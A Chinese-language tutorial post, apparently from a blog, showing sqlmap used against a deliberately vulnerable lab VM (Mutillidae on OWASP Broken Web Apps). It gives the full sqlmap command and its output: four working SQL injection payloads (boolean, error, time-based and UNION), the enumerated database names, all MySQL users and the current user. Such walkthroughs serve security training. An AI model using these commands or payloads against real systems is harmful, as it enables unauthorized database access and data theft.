SQLmap 自动注入 -02

1: 如果想获得SQL 数据库的信息,可以加入参数: -dbs

sqlmap -u "http://192.168.56.133/mutillidae/index.php?page=user-info.php&username=xiaosheng&password=abc&user-info-php-submit-button=View+Account+Details" --batch -p username -dbs

! legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

\* starting @ 06:07:47 /2025-01-21/

06:07:47 INFO resuming back-end DBMS 'mysql'

06:07:47 INFO testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=vpgtsrbl91e...40rho4rej4;showhints=1'). Do you want to use those Y/n Y

sqlmap resumed the following injection point(s) from stored session:


Parameter: username (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

Type: UNION query

Title: MySQL UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details


06:07:48 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP, PHP 5.3.2, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

06:07:48 INFO fetching database names

06:07:50 WARNING reflective value(s) found and filtering out

available databases 34:

\* .svn

\* bricks

\* bwapp

\* citizens

\* cryptomg

\* dvwa

\* gallery2

\* getboo

\* ghost

\* gtd-php

\* hex

\* information_schema

\* isp

\* joomla

\* mutillidae

\* mysql

\* nowasp

\* orangehrm

\* personalblog

\* peruggia

\* phpbb

\* phpmyadmin

\* proxy

\* rentnet

\* sqlol

\* tikiwiki

\* vicnum

\* wackopicko

\* wavsepdb

\* webcal

\* webgoat_coins

\* wordpress

\* wraithlogin

\* yazd

06:07:52 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:07:52 WARNING your sqlmap version is outdated

\* ending @ 06:07:52 /2025-01-21/

下面列一下参数的作用:

下面看一下执行结果:

! legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

\* starting @ 06:11:28 /2025-01-21/

06:11:29 INFO resuming back-end DBMS 'mysql'

06:11:29 INFO testing connection to the target URL

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=jfganof3ik5...ukdpgiq063;showhints=1'). Do you want to use those Y/n Y

sqlmap resumed the following injection point(s) from stored session:


Parameter: username (GET)

Type: boolean-based blind

Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: page=user-info.php&username=-4134' OR 5736=5736#&password=abc&user-info-php-submit-button=View Account Details

Type: error-based

Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 6106 FROM(SELECT COUNT(*),CONCAT(0x717a627a71,(SELECT (ELT(6106=6106,1))),0x716b7a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uiLS&password=abc&user-info-php-submit-button=View Account Details

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: page=user-info.php&username=xiaosheng' AND (SELECT 4704 FROM (SELECT(SLEEP(5)))pmhr)-- ITco&password=abc&user-info-php-submit-button=View Account Details

Type: UNION query

Title: MySQL UNION query (NULL) - 7 columns

Payload: page=user-info.php&username=xiaosheng' UNION ALL SELECT NULL,CONCAT(0x717a627a71,0x4e564f5771416964435a7375556e7944795359717172507a7953457451746c5a5a61436565456677,0x716b7a7871),NULL,NULL,NULL,NULL,NULL#&password=abc&user-info-php-submit-button=View Account Details


06:11:30 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: Apache 2.2.14, PHP 5.3.2, PHP

back-end DBMS: MySQL >= 5.0

06:11:30 INFO fetching database users

06:11:32 WARNING reflective value(s) found and filtering out

database management system users 38:

\* 'bricks'@'%'

\* 'bwapp'@'%'

\* 'citizens'@'localhost'

\* 'cryptomg'@'%'

\* 'debian-sys-maint'@'localhost'

\* 'dvwa'@'%'

\* 'gallery2'@'localhost'

\* 'getboo'@'%'

\* 'ghost'@'%'

\* 'gtd-php'@'%'

\* 'hex'@'localhost'

\* 'joomla'@'localhost'

\* 'jotto'@'%'

\* 'kbloom'@'localhost'

\* 'mutillidae'@'%'

\* 'orangehrm'@'%'

\* 'personalblog'@'%'

\* 'peruggia'@'%'

\* 'phpbb'@'%'

\* 'phpmyadmin'@'localhost'

\* 'root'@'127.0.0.1'

\* 'root'@'brokenwebapps'

\* 'root'@'localhost'

\* 'sendmail'@'localhost'

\* 'sqlol'@'%'

\* 'stealth'@'localhost'

\* 'tikiwiki'@'localhost'

\* 'undertaker'@'localhost'

\* 'vicnum'@'localhost'

\* 'wackopicko'@'%'

\* 'wavsep'@'localhost'

\* 'webcal'@'localhost'

\* 'webgoat.net'@'%'

\* 'webmaster'@'localhost'

\* 'wordpress'@'%'

\* 'wraith'@'localhost'

\* 'yazd'@'%'

\* 'yazd10'@'%'

06:11:34 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:11:34 WARNING your sqlmap version is outdated

\* ending @ 06:11:34 /2025-01-21/

可以看出上面是所有用户的结果,如果看当前用户,那么如下结果:

06:19:04 INFO the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)

web application technology: PHP, PHP 5.3.2, Apache 2.2.14

back-end DBMS: MySQL >= 5.0

06:19:04 INFO fetching current user

06:19:06 WARNING reflective value(s) found and filtering out

current user: 'mutillidae@%'

06:19:06 INFO fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.133'

06:19:06 WARNING your sqlmap version is outdated

\* ending @ 06:19:06 /2025-01-21/

参考文献: 16.SQL注入攻击_哔哩哔哩_bilibili

相关推荐
天天喝旺仔9 小时前
MySQL 索引原理与慢查询优化实战:从 B+ 树到执行计划调优
数据库·sql·mysql·性能优化
m0_6464299710 小时前
MySQL 初始化 SQL 中文乱码问题总结
数据库·sql·mysql
实战派K8S&DB10 小时前
TDSQL 核心模块与进程体系
运维·数据库·分布式·sql·mysql
Lost_the_wind10 小时前
MySQL 学习笔记三
笔记·学习·mysql
腾科IT教育11 小时前
Oracle OCP和MySQL OCP怎么选?方向对比指南
mysql·oracle·ocp·oracle ocp·ocp怎么选·mysql ocp
用户4603812919413 小时前
别人都 commit 了,为什么我的 select 还是旧值?图解 MySQL MVCC
mysql
毕业设计70315 小时前
(免费领源码)django空气净化器销售系统09218- java、PHP、python、C#、小程序、大数据、单片机、网络工程等)
python·scrapy·mysql·pycharm·django·flask·pandas
CJi0NG16 小时前
【自用】MySQL-事务
数据库·mysql
VX_bysjlw98516 小时前
数码设备销售网站设计与实现39138-计算机毕设原创(免费领源码+带部署教程)
java·vue.js·spring boot·mysql·tomcat·mybatis·idea
PHP实战开发录17 小时前
MySQL数字排序为什么乱
数据库·mysql·php